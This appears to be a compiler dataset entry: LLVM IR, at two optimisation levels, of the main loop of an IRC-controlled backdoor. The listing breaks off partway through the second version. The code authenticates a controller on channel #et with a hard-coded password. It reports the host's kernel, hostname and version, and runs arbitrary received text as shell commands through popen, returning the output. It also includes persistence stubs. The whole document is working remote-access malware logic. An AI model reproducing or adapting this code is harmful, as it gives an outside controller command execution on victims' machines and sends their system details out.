@.str.14 = [50 x i8] c"PRIVMSG %s :%s deauthorized. Reauth to control.\0D\0A\00"
@.str.15 = [5 x i8] c"info\00"
@.str.16 = [25 x i8] c"PRIVMSG %s :Kernel: %s\0D\0A\00"
@.str.17 = [23 x i8] c"PRIVMSG %s :Host: %s\0D\0A\00"
@.str.18 = [26 x i8] c"PRIVMSG %s :Release: %s\0D\0A\00"
@.str.19 = [26 x i8] c"PRIVMSG %s :Version: %s\0D\0A\00"
@.str.20 = [23 x i8] c"PRIVMSG %s :Arch: %s\0D\0A\00"
@.str.21 = [6 x i8] c"popup\00"
@.str.22 = [50 x i8] c"PRIVMSG %s :%s is nix and cannot create popups.\0D\0A\00"
@.str.23 = [8 x i8] c"persist\00"
@.str.24 = [44 x i8] c"PRIVMSG %s :%s is nix and cannot persist.\0D\0A\00"
@.str.25 = [10 x i8] c"depersist\00"
@.str.26 = [46 x i8] c"PRIVMSG %s :%s is nix and cannot depersist.\0D\0A\00"
@.str.27 = [2 x i8] c"r\00"
@.str.28 = [48 x i8] c"PRIVMSG %s :Command output too large to send.\0D\0A\00"
@.str.29 = [17 x i8] c"PRIVMSG %s :%s\0D\0A\00"
define void @et_main_loop_nix(i32 %0, i8* %1) {
%3 = alloca i32
%4 = alloca i8*
%5 = alloca [512 x i8]
%6 = alloca [1024 x i8]
%7 = alloca i32
%8 = alloca i8*
%9 = alloca i8*
%10 = alloca i8*
%11 = alloca %struct.utsname
%12 = alloca [512 x i8]
%13 = alloca i32*
%14 = alloca i32
store i32 %0, i32* %3
store i8* %1, i8** %4
store i32 0, i32* %7
br label %15
15: ; preds = %2, %272
%16 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%17 = call i32 @memset(i8* %16, i32 0, i32 512)
%18 = getelementptr inbounds [1024 x i8], [1024 x i8]* %6, i64 0, i64 0
%19 = call i32 @memset(i8* %18, i32 0, i32 1024)
%20 = load i32, i32* %3
%21 = getelementptr inbounds [1024 x i8], [1024 x i8]* %6, i64 0, i64 0
%22 = call i32 @recv(i32 %20, i8* %21, i32 1023, i32 0)
%23 = getelementptr inbounds [1024 x i8], [1024 x i8]* %6, i64 0, i64 1024
store i8 0, i8* %23
%24 = getelementptr inbounds [1024 x i8], [1024 x i8]* %6, i64 0, i64 0
%25 = call i8* @strstr(i8* %24, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0))
store i8* %25, i8** %8
%26 = icmp ne i8* %25, null
br i1 %26, label %27, label %39
27: ; preds = %15
%28 = getelementptr inbounds [1024 x i8], [1024 x i8]* %6, i64 0, i64 0
%29 = call i8* @strstr(i8* %28, i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.1, i64 0, i64 0))
%30 = icmp ne i8* %29, null
br i1 %30, label %39, label %31
31: ; preds = %27
%32 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%33 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %32, i32 512, i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.3, i64 0, i64 0))
%34 = load i32, i32* %3
%35 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%36 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%37 = call i32 @strlen(i8* %36)
%38 = call i32 @send(i32 %34, i8* %35, i32 %37, i32 0)
br label %272
39: ; preds = %27, %15
%40 = getelementptr inbounds [1024 x i8], [1024 x i8]* %6, i64 0, i64 0
%41 = call i8* @strstr(i8* %40, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.4, i64 0, i64 0))
%42 = icmp ne i8* %41, null
br i1 %42, label %43, label %271
43: ; preds = %39
%44 = getelementptr inbounds [1024 x i8], [1024 x i8]* %6, i64 0, i64 0
%45 = load i8*, i8** %4
%46 = call i8* @strstr(i8* %44, i8* %45)
%47 = icmp ne i8* %46, null
br i1 %47, label %48, label %271
48: ; preds = %43
%49 = getelementptr inbounds [1024 x i8], [1024 x i8]* %6, i64 0, i64 0
%50 = call i8* @strtok(i8* %49, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.5, i64 0, i64 0))
store i8* %50, i8** %9
%51 = load i8*, i8** %9
%52 = call i8* @strrchr(i8* %51, i8 signext 58)
store i8* %52, i8** %10
%53 = load i8*, i8** %10
%54 = getelementptr inbounds i8, i8* %53, i32 1
store i8* %54, i8** %10
%55 = load i8*, i8** %10
%56 = call i8* @strstr(i8* %55, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.6, i64 0, i64 0))
%57 = icmp ne i8* %56, null
br i1 %57, label %58, label %86
58: ; preds = %48
%59 = load i8*, i8** %10
%60 = call i8* @strstr(i8* %59, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.7, i64 0, i64 0))
%61 = icmp ne i8* %60, null
br i1 %61, label %86, label %62
62: ; preds = %58
%63 = load i8*, i8** %10
%64 = getelementptr inbounds i8, i8* %63, i64 5
store i8* %64, i8** %10
%65 = load i8*, i8** %10
%66 = call i32 @strcmp(i8* %65, i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.8, i64 0, i64 0))
%67 = icmp ne i32 %66, 0
br i1 %67, label %77, label %68
68: ; preds = %62
store i32 1, i32* %7
%69 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%70 = load i8*, i8** %4
%71 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %69, i32 512, i8* getelementptr inbounds ([53 x i8], [53 x i8]* @.str.9, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %70)
%72 = load i32, i32* %3
%73 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%74 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%75 = call i32 @strlen(i8* %74)
%76 = call i32 @send(i32 %72, i8* %73, i32 %75, i32 0)
br label %85
77: ; preds = %62
%78 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%79 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %78, i32 512, i8* getelementptr inbounds ([56 x i8], [56 x i8]* @.str.11, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0))
%80 = load i32, i32* %3
%81 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%82 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%83 = call i32 @strlen(i8* %82)
%84 = call i32 @send(i32 %80, i8* %81, i32 %83, i32 0)
br label %85
85: ; preds = %77, %68
br label %270
86: ; preds = %58, %48
%87 = load i32, i32* %7
%88 = icmp ne i32 %87, 0
br i1 %88, label %97, label %89
89: ; preds = %86
%90 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%91 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %90, i32 512, i8* getelementptr inbounds ([54 x i8], [54 x i8]* @.str.12, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0))
%92 = load i32, i32* %3
%93 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%94 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%95 = call i32 @strlen(i8* %94)
%96 = call i32 @send(i32 %92, i8* %93, i32 %95, i32 0)
br label %269
97: ; preds = %86
%98 = load i8*, i8** %10
%99 = call i32 @strcmp(i8* %98, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.13, i64 0, i64 0))
%100 = icmp ne i32 %99, 0
br i1 %100, label %102, label %101
101: ; preds = %97
br label %273
102: ; preds = %97
%103 = load i8*, i8** %10
%104 = call i32 @strcmp(i8* %103, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.7, i64 0, i64 0))
%105 = icmp ne i32 %104, 0
br i1 %105, label %115, label %106
106: ; preds = %102
%107 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%108 = load i8*, i8** %4
%109 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %107, i32 512, i8* getelementptr inbounds ([50 x i8], [50 x i8]* @.str.14, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %108)
%110 = load i32, i32* %3
%111 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%112 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%113 = call i32 @strlen(i8* %112)
%114 = call i32 @send(i32 %110, i8* %111, i32 %113, i32 0)
store i32 0, i32* %7
br label %267
115: ; preds = %102
%116 = load i8*, i8** %10
%117 = call i32 @strcmp(i8* %116, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.15, i64 0, i64 0))
%118 = icmp ne i32 %117, 0
br i1 %118, label %176, label %119
119: ; preds = %115
%120 = call i32 @uname(%struct.utsname* %11)
%121 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%122 = getelementptr inbounds %struct.utsname, %struct.utsname* %11, i32 0, i32 0
%123 = load i8*, i8** %122
%124 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %121, i32 512, i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.16, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %123)
%125 = load i32, i32* %3
%126 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%127 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%128 = call i32 @strlen(i8* %127)
%129 = call i32 @send(i32 %125, i8* %126, i32 %128, i32 0)
%130 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%131 = call i32 @memset(i8* %130, i32 0, i32 512)
%132 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%133 = getelementptr inbounds %struct.utsname, %struct.utsname* %11, i32 0, i32 1
%134 = load i8*, i8** %133
%135 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %132, i32 512, i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.17, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %134)
%136 = load i32, i32* %3
%137 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%138 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%139 = call i32 @strlen(i8* %138)
%140 = call i32 @send(i32 %136, i8* %137, i32 %139, i32 0)
%141 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%142 = call i32 @memset(i8* %141, i32 0, i32 512)
%143 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%144 = getelementptr inbounds %struct.utsname, %struct.utsname* %11, i32 0, i32 2
%145 = load i8*, i8** %144
%146 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %143, i32 512, i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.18, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %145)
%147 = load i32, i32* %3
%148 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%149 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%150 = call i32 @strlen(i8* %149)
%151 = call i32 @send(i32 %147, i8* %148, i32 %150, i32 0)
%152 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%153 = call i32 @memset(i8* %152, i32 0, i32 512)
%154 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%155 = getelementptr inbounds %struct.utsname, %struct.utsname* %11, i32 0, i32 3
%156 = load i8*, i8** %155
%157 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %154, i32 512, i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.19, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %156)
%158 = load i32, i32* %3
%159 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%160 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%161 = call i32 @strlen(i8* %160)
%162 = call i32 @send(i32 %158, i8* %159, i32 %161, i32 0)
%163 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%164 = call i32 @memset(i8* %163, i32 0, i32 512)
%165 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%166 = getelementptr inbounds %struct.utsname, %struct.utsname* %11, i32 0, i32 4
%167 = load i8*, i8** %166
%168 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %165, i32 512, i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.20, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %167)
%169 = load i32, i32* %3
%170 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%171 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%172 = call i32 @strlen(i8* %171)
%173 = call i32 @send(i32 %169, i8* %170, i32 %172, i32 0)
%174 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%175 = call i32 @memset(i8* %174, i32 0, i32 512)
br label %266
176: ; preds = %115
%177 = load i8*, i8** %10
%178 = call i8* @strstr(i8* %177, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.21, i64 0, i64 0))
%179 = icmp ne i8* %178, null
br i1 %179, label %180, label %189
180: ; preds = %176
%181 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%182 = load i8*, i8** %4
%183 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %181, i32 512, i8* getelementptr inbounds ([50 x i8], [50 x i8]* @.str.22, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %182)
%184 = load i32, i32* %3
%185 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%186 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%187 = call i32 @strlen(i8* %186)
%188 = call i32 @send(i32 %184, i8* %185, i32 %187, i32 0)
br label %265
189: ; preds = %176
%190 = load i8*, i8** %10
%191 = call i32 @strcmp(i8* %190, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.23, i64 0, i64 0))
%192 = icmp ne i32 %191, 0
br i1 %192, label %202, label %193
193: ; preds = %189
%194 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%195 = load i8*, i8** %4
%196 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %194, i32 512, i8* getelementptr inbounds ([44 x i8], [44 x i8]* @.str.24, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %195)
%197 = load i32, i32* %3
%198 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%199 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%200 = call i32 @strlen(i8* %199)
%201 = call i32 @send(i32 %197, i8* %198, i32 %200, i32 0)
br label %264
202: ; preds = %189
%203 = load i8*, i8** %10
%204 = call i32 @strcmp(i8* %203, i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.25, i64 0, i64 0))
%205 = icmp ne i32 %204, 0
br i1 %205, label %215, label %206
206: ; preds = %202
%207 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%208 = load i8*, i8** %4
%209 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %207, i32 512, i8* getelementptr inbounds ([46 x i8], [46 x i8]* @.str.26, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %208)
%210 = load i32, i32* %3
%211 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%212 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%213 = call i32 @strlen(i8* %212)
%214 = call i32 @send(i32 %210, i8* %211, i32 %213, i32 0)
br label %263
215: ; preds = %202
%216 = load i8*, i8** %10
%217 = call i32* @popen(i8* %216, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.27, i64 0, i64 0))
store i32* %217, i32** %13
%218 = getelementptr inbounds [512 x i8], [512 x i8]* %12, i64 0, i64 0
%219 = load i32*, i32** %13
%220 = call i32 @fread(i8* %218, i32 1, i32 512, i32* %219)
store i32 0, i32* %14
br label %221
221: ; preds = %239, %215
%222 = load i32, i32* %14
%223 = sext i32 %222 to i64
%224 = getelementptr inbounds [512 x i8], [512 x i8]* %12, i64 0, i64 %223
%225 = load i8, i8* %224
%226 = icmp ne i8 %225, 0
br i1 %226, label %227, label %242
227: ; preds = %221
%228 = load i32, i32* %14
%229 = sext i32 %228 to i64
%230 = getelementptr inbounds [512 x i8], [512 x i8]* %12, i64 0, i64 %229
%231 = load i8, i8* %230
%232 = sext i8 %231 to i32
%233 = icmp eq i32 %232, 10
br i1 %233, label %234, label %238
234: ; preds = %227
%235 = load i32, i32* %14
%236 = sext i32 %235 to i64
%237 = getelementptr inbounds [512 x i8], [512 x i8]* %12, i64 0, i64 %236
store i8 32, i8* %237
br label %238
238: ; preds = %234, %227
br label %239
239: ; preds = %238
%240 = load i32, i32* %14
%241 = add nsw i32 %240, 1
store i32 %241, i32* %14
br label %221
242: ; preds = %221
%243 = getelementptr inbounds [512 x i8], [512 x i8]* %12, i64 0, i64 0
%244 = call i32 @strlen(i8* %243)
%245 = icmp sge i32 %244, 500
br i1 %245, label %246, label %249
246: ; preds = %242
%247 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%248 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %247, i32 512, i8* getelementptr inbounds ([48 x i8], [48 x i8]* @.str.28, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0))
br label %253
249: ; preds = %242
%250 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%251 = getelementptr inbounds [512 x i8], [512 x i8]* %12, i64 0, i64 0
%252 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %250, i32 512, i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.29, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %251)
br label %253
253: ; preds = %249, %246
%254 = load i32, i32* %3
%255 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%256 = getelementptr inbounds [512 x i8], [512 x i8]* %5, i64 0, i64 0
%257 = call i32 @strlen(i8* %256)
%258 = call i32 @send(i32 %254, i8* %255, i32 %257, i32 0)
%259 = load i32*, i32** %13
%260 = call i32 @pclose(i32* %259)
%261 = getelementptr inbounds [512 x i8], [512 x i8]* %12, i64 0, i64 0
%262 = call i32 @memset(i8* %261, i32 0, i32 512)
br label %263
263: ; preds = %253, %206
br label %264
264: ; preds = %263, %193
br label %265
265: ; preds = %264, %180
br label %266
266: ; preds = %265, %119
br label %267
267: ; preds = %266, %106
br label %268
268: ; preds = %267
br label %269
269: ; preds = %268, %89
br label %270
270: ; preds = %269, %85
br label %271
271: ; preds = %270, %43, %39
br label %272
272: ; preds = %271, %31
br label %15
273: ; preds = %101
ret void
}

LLVM IR (-O2):
%struct.utsname = type { i8*, i8*, i8*, i8*, i8* }
@.str = [5 x i8] c"PING\00"
@.str.1 = [12 x i8] c"CASEMAPPING\00"
@.str.2 = [11 x i8] c"PONG :%s\0D\0A\00"
@.str.3 = [17 x i8] c"irc.woodruffw.us\00"
@.str.4 = [8 x i8] c"PRIVMSG\00"
@.str.5 = [3 x i8] c"\0D\0A\00"
@.str.6 = [5 x i8] c"auth\00"
@.str.7 = [7 x i8] c"deauth\00"
@.str.8 = [14 x i8] c"et-phone-home\00"
@.str.9 = [53 x i8] c"PRIVMSG %s :Successfully authorized. %s listening.\0D\0A\00"
@.str.10 = [4 x i8] c"#et\00"
@.str.11 = [56 x i8] c"PRIVMSG %s :Authorization failed, password incorrect.\0D\0A\00"
@.str.12 = [54 x i8] c"PRIVMSG %s :Not authorized to command. Please auth.\0D\0A\00"
@.str.13 = [5 x i8] c"kill\00"
@.str.14 = [50 x i8] c"PRIVMSG %s :%s deauthorized. Reauth to control.\0D\0A\00"
@.str.15 = [5 x i8] c"info\00"
@.str.16 = [25 x i8] c"PRIVMSG %s :Kernel: %s\0D\0A\00"
@.str.17 = [23 x i8] c"PRIVMSG %s :Host: %s\0D\0A\00"
@.str.18 = [26 x i8] c"PRIVMSG %s :Release: %s\0D\0A\00"
@.str.19 = [26 x i8] c"PRIVMSG %s :Version: %s\0D\0A\00"
@.str.20 = [23 x i8] c"PRIVMSG %s :Arch: %s\0D\0A\00"
@.str.21 = [6 x i8] c"popup\00"
@.str.22 = [50 x i8] c"PRIVMSG %s :%s is nix and cannot create popups.\0D\0A\00"
@.str.23 = [8 x i8] c"persist\00"
@.str.24 = [44 x i8] c"PRIVMSG %s :%s is nix and cannot persist.\0D\0A\00"
@.str.25 = [10 x i8] c"depersist\00"
@.str.26 = [46 x i8] c"PRIVMSG %s :%s is nix and cannot depersist.\0D\0A\00"
@.str.27 = [2 x i8] c"r\00"
@.str.28 = [48 x i8] c"PRIVMSG %s :Command output too large to send.\0D\0A\00"
@.str.29 = [17 x i8] c"PRIVMSG %s :%s\0D\0A\00"
define void @et_main_loop_nix(i32 %0, i8* %1) {
%3 = alloca [512 x i8]
%4 = alloca [1024 x i8]
%5 = alloca %struct.utsname
%6 = alloca [512 x i8]
%7 = getelementptr inbounds [512 x i8], [512 x i8]* %3, i64 0, i64 0
%8 = getelementptr inbounds [1024 x i8], [1024 x i8]* %4, i64 0, i64 0
%9 = getelementptr inbounds [1024 x i8], [1024 x i8]* %4, i64 0, i64 1024
%10 = getelementptr inbounds [512 x i8], [512 x i8]* %6, i64 0, i64 0
%11 = bitcast %struct.utsname* %5 to i8*
%12 = getelementptr inbounds %struct.utsname, %struct.utsname* %5, i64 0, i32 0
%13 = getelementptr inbounds %struct.utsname, %struct.utsname* %5, i64 0, i32 1
%14 = getelementptr inbounds %struct.utsname, %struct.utsname* %5, i64 0, i32 2
%15 = getelementptr inbounds %struct.utsname, %struct.utsname* %5, i64 0, i32 3
%16 = getelementptr inbounds %struct.utsname, %struct.utsname* %5, i64 0, i32 4
br label %17
17: ; preds = %58, %2
%18 = phi i32 [ 0, %2 ], [ %59, %58 ]
%19 = call i32 @memset(i8* %7, i32 0, i32 512)
%20 = call i32 @memset(i8* %8, i32 0, i32 1024)
%21 = call i32 @recv(i32 %0, i8* %8, i32 1023, i32 0)
store i8 0, i8* %9
%22 = call i8* @strstr(i8* %8, i8* dereferenceable(1) getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0))
%23 = icmp eq i8* %22, null
br i1 %23, label %31, label %24
24: ; preds = %17
%25 = call i8* @strstr(i8* %8, i8* dereferenceable(1) getelementptr inbounds ([12 x i8], [12 x i8]* @.str.1, i64 0, i64 0))
%26 = icmp eq i8* %25, null
br i1 %26, label %27, label %31
27: ; preds = %24
%28 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %7, i32 512, i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.3, i64 0, i64 0))
%29 = call i32 @strlen(i8* %7)
%30 = call i32 @send(i32 %0, i8* %7, i32 %29, i32 0)
br label %58
31: ; preds = %24, %17
%32 = call i8* @strstr(i8* %8, i8* dereferenceable(1) getelementptr inbounds ([8 x i8], [8 x i8]* @.str.4, i64 0, i64 0))
%33 = icmp eq i8* %32, null
br i1 %33, label %58, label %34
34: ; preds = %31
%35 = call i8* @strstr(i8* %8, i8* dereferenceable(1) %1)
%36 = icmp eq i8* %35, null
br i1 %36, label %58, label %37
37: ; preds = %34
%38 = call i8* @strtok(i8* %8, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.5, i64 0, i64 0))
%39 = call i8* @strrchr(i8* dereferenceable(1) %38, i8 signext 58)
%40 = getelementptr inbounds i8, i8* %39, i64 1
%41 = call i8* @strstr(i8* %40, i8* dereferenceable(1) getelementptr inbounds ([5 x i8], [5 x i8]* @.str.6, i64 0, i64 0))
%42 = icmp eq i8* %41, null
br i1 %42, label %60, label %43
43: ; preds = %37
%44 = call i8* @strstr(i8* %40, i8* dereferenceable(1) getelementptr inbounds ([7 x i8], [7 x i8]* @.str.7, i64 0, i64 0))
%45 = icmp eq i8* %44, null
br i1 %45, label %46, label %60
46: ; preds = %43
%47 = getelementptr inbounds i8, i8* %39, i64 6
%48 = call i32 @strcmp(i8* %47, i8* dereferenceable(14) getelementptr inbounds ([14 x i8], [14 x i8]* @.str.8, i64 0, i64 0))
%49 = icmp eq i32 %48, 0
br i1 %49, label %50, label %54
50: ; preds = %46
%51 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %7, i32 512, i8* getelementptr inbounds ([53 x i8], [53 x i8]* @.str.9, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %1)
%52 = call i32 @strlen(i8* %7)
%53 = call i32 @send(i32 %0, i8* %7, i32 %52, i32 0)
br label %58
54: ; preds = %46
%55 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %7, i32 512, i8* getelementptr inbounds ([56 x i8], [56 x i8]* @.str.11, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0))
%56 = call i32 @strlen(i8* %7)
%57 = call i32 @send(i32 %0, i8* %7, i32 %56, i32 0)
br label %58
58: ; preds = %54, %50, %79, %116, %144, %123, %109, %72, %62, %27, %34, %31
%59 = phi i32 [ %18, %34 ], [ %18, %31 ], [ %18, %27 ], [ 1, %50 ], [ %18, %54 ], [ 0, %62 ], [ 0, %72 ], [ 1, %79 ], [ 1, %116 ], [ 1, %123 ], [ 1, %144 ], [ 1, %109 ]
br label %17
60: ; preds = %43, %37
%61 = icmp eq i32 %18, 0
br i1 %61, label %62, label %66
62: ; preds = %60
%63 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %7, i32 512, i8* getelementptr inbounds ([54 x i8], [54 x i8]* @.str.12, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0))
%64 = call i32 @strlen(i8* %7)
%65 = call i32 @send(i32 %0, i8* %7, i32 %64, i32 0)
br label %58
66: ; preds = %60
%67 = call i32 @strcmp(i8* %40, i8* dereferenceable(5) getelementptr inbounds ([5 x i8], [5 x i8]* @.str.13, i64 0, i64 0))
%68 = icmp eq i32 %67, 0
br i1 %68, label %149, label %69
69: ; preds = %66
%70 = call i32 @strcmp(i8* %40, i8* dereferenceable(7) getelementptr inbounds ([7 x i8], [7 x i8]* @.str.7, i64 0, i64 0))
%71 = icmp eq i32 %70, 0
br i1 %71, label %72, label %76
72: ; preds = %69
%73 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %7, i32 512, i8* getelementptr inbounds ([50 x i8], [50 x i8]* @.str.14, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %1)
%74 = call i32 @strlen(i8* %7)
%75 = call i32 @send(i32 %0, i8* %7, i32 %74, i32 0)
br label %58
76: ; preds = %69
%77 = call i32 @strcmp(i8* %40, i8* dereferenceable(5) getelementptr inbounds ([5 x i8], [5 x i8]* @.str.15, i64 0, i64 0))
%78 = icmp eq i32 %77, 0
br i1 %78, label %79, label %106
79: ; preds = %76
%80 = call i32 @uname(%struct.utsname* %5)
%81 = load i8*, i8** %12
%82 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %7, i32 512, i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.16, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %81)
%83 = call i32 @strlen(i8* %7)
%84 = call i32 @send(i32 %0, i8* %7, i32 %83, i32 0)
%85 = call i32 @memset(i8* %7, i32 0, i32 512)
%86 = load i8*, i8** %13
%87 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %7, i32 512, i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.17, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %86)
%88 = call i32 @strlen(i8* %7)
%89 = call i32 @send(i32 %0, i8* %7, i32 %88, i32 0)
%90 = call i32 @memset(i8* %7, i32 0, i32 512)
%91 = load i8*, i8** %14
%92 = call i32 (i8*, i32, i8*, i8*, ...) @snprintf(i8* %7, i32 512, i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.18, i64 0, i64 0), i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.10, i64 0, i64 0), i8* %91)
%93 = call i32 @strlen(i8* %7)
%94 = call i32 @send(i32 %0, i8* %7, i32 %93, i32 0)
%95 = call i32 @memset(i8* %7, i32 0, i32 512)
